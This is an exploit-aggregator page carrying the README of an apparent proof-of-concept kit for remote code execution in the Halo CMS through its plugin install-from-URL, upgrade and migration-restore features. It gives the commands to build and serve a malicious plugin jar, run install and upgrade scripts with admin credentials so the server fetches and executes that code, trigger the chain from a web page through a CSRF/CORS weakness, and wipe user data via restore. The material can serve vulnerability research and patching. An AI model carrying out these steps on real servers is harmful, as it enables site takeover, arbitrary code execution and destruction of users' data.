Sploitus

Exploit for CVE-2026-67919 CVE-2026-67919 CVE-2026-67920 CVE-2026-67921

githubexploit · 2026-08-19

Exploit Code

README92 lines
## https://sploitus.com/exploit?id=2DCD3BB6-8EED-5D26-AE57-60BB3EC94C6A
# halo plugin rce from a url

halo's console lets admins install and upgrade plugins by pasting a url.
it fetches whatever url, installs the jar, and the jar's code runs on the
server. no scheme checks, no host checks, redirects followed, and the
plugin manager loads the extension classes straight out of the jar.

that is cve-2026-67919 (install-from-uri / upgrade-from-uri),
cve-2026-67920 (migration restore), cve-2026-67921 (csrf/cors chain).
all three verified against halohub/halo:2.25.4 in a docker lab, august
2026. main is still unpatched.

the fun part: it's also a browser-only chain. the console api does not
check the xsrf token, the session cookie is samesite=none, and cors
reflects any origin with credentials. a page the admin visits can do it
all with fetch(). see exploit/csrf.html.

## lab

    docker run -d --name halo -p 8090:8090 halohub/halo:2.25.4
    # visit /system/setup once, or script it (see notes/findings.md)

serve a jar from the host (bound to 0.0.0.0, the container reaches the
host as host.docker.internal):

    python3 -m http.server 8123

## two-request rce

build the malicious plugin (needs jdk 17):

    cd plugin && sh build.sh

then:

    cd exploit && python3 -m pip install -r requirements.txt
    ./rce_install.py http://localhost:8090 admin 'Admin@12345' \
        http://host.docker.internal:8123/poc-plugin.jar

    docker exec halo cat /tmp/pwned

## one-request rce

any already-installed plugin can be replaced in a single request; the jar
just needs the same metadata.name and a higher version. poc-sitemap.jar
is that variant for the built-in PluginSitemap (1.x -> 2.0.0).

    ./rce_upgrade.py http://localhost:8090 admin 'Admin@12345' \
        PluginSitemap http://host.docker.internal:8123/poc-sitemap.jar

    docker exec halo cat /tmp/pwned

## from a browser, no token needed

open exploit/csrf.html, point it at your halo, click. that's the
cve-2026-67921 -> cve-2026-67919 chain: no xsrf header, session cookie
goes cross-site, cors allows the readback.

## who can do this

admin only, no matter what the cisa description says. anonymous gets a
302, guest gets a 403, admin gets code execution. the csrf chain keeps it
interesting because the admin is already logged in when the page runs.

## migration restore (cve-2026-67920)

restorations fetch an arbitrary url (another fetch primitive), write the
zip's workdir/ into the halo work dir unsanitized, and replace the whole
extension store with the backup's contents. an empty extensions.data
wipes users, role bindings and settings. use exploit/migration_restore.py
on a throwaway box only.

## what's in here

    exploit/   login.py, rce_install.py, rce_upgrade.py,
               migration_restore.py, csrf.html
    plugin/    plugin.yaml, Exploit.java, plugin-components.idx,
               build.sh, prebuilt jars
    notes/     findings.md (privilege ladder, fetcher behavior,
               cookie/cors details, fix status)

for the 1-request variant, edit plugin/plugin.yaml (metadata.name +
version) and rebuild; or use the prebuilt poc-sitemap.jar against a halo
that has PluginSitemap installed.

disclaimer: for research on systems you own. the migration one in
particular will wreck the instance it runs against.

## credits

chris jagdeo (k0nnect)